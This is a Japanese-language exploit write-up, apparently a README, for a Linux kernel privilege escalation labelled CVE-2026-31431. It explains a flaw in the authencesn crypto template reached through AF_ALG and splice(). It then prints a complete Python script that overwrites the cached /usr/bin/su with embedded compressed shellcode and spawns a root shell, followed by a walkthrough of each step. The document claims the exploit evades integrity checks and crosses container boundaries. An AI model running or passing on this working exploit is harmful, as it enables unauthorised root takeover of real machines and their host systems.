
# CVE-2026-31431 のローカル権限昇格エクスプロイト AF_ALG と splice を介してページキャッシュ内の setuid バイナリを破壊し、root シェルを取得するローカル権限昇格エクスプロイト。
LinuxカーネルのAEADテンプレート
authencesnにおける論理エラーにより、権限のないユーザーが読み取り可能な任意のファイルのページキャッシュに4バイトを書き込むことができます。
提供されるPythonスクリプトは、メモリ内の
/usr/bin/suを破壊し、rootシェルを生成します。
CVE-2026-31431 は、Linuxカーネルの暗号サブシステム、具体的には authencesn(拡張シーケンス番号付きAEAD)テンプレートと、AF_ALG ソケットインターフェースおよび splice() システムコールを組み合わせた場合の脆弱性です。
根本原因: authencesn の復号ルーチンは、宛先の分散リストを一時領域として使用し、正当な出力領域を超えて4バイト書き込みます。
AF_ALG がAEAD操作をインプレースで実行し、splice() がページキャッシュのページ(例:setuidバイナリ)を認証タグとして提供する場合、境界外書き込みはそのファイルのカーネルキャッシュコピーに直接到達します。
影響: 権限のないローカル攻撃者は、読み取り可能な任意のファイル内の4バイトアラインされた任意の場所を上書きできます。破損はページキャッシュ内でのみ発生します。ディスク上のファイルは変更されないため、ファイル整合性チェックを回避できます。
影響度: setuidバイナリ(例:/usr/bin/su)をシェルコードで上書きすることで、攻撃者はバイナリを実行してrootシェルを取得できます。ページキャッシュはホストと共有されるため、同じプリミティブが異なるコンテナでも機能します。
exploi-copyfail.py)このエクスプロイトは、標準ライブラリ(os、socket、zlib)のみを使用する732バイトの単一のPythonスクリプトです。2017年から2026年(パッチ適用前)までのカーネルバージョンを搭載した任意のLinuxディストリビューションで動作します。
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
セットアップ: authencesn(hmac(sha256),cbc(aes)) にバインドされたAF_ALGソケットを開き、ダミーキーを設定してリクエストを受け入れます。
ペイロード: シェルコード(16進数ブロブから解凍)は4バイトのチャンクに分割されます。
破損ループ: 各チャンクについて:
sendmsg() は関連データ(AAD)を提供します。AADの4〜7バイト目に書き込む4バイトが含まれます。
splice() は /usr/bin/su(対象のsetuidバイナリ)の一部をソケットのTX分散リストに挿入します。オフセットと長さは、認証タグ領域がバイナリの.textセクション内のターゲットアドレスに配置されるように選択されます。
recv() はAEADの復号をトリガーし、authencesn は4バイトのチャンクを /usr/bin/su のページキャッシュに書き込みます。HMACは失敗しますが、書き込みは持続します。
実行: すべてのチャンクが書き込まれた後、スクリプトは su を実行します。キャッシュされたバージョンにシェルコードが含まれるようになったため、su はroot権限で実行され、シェルを開きます。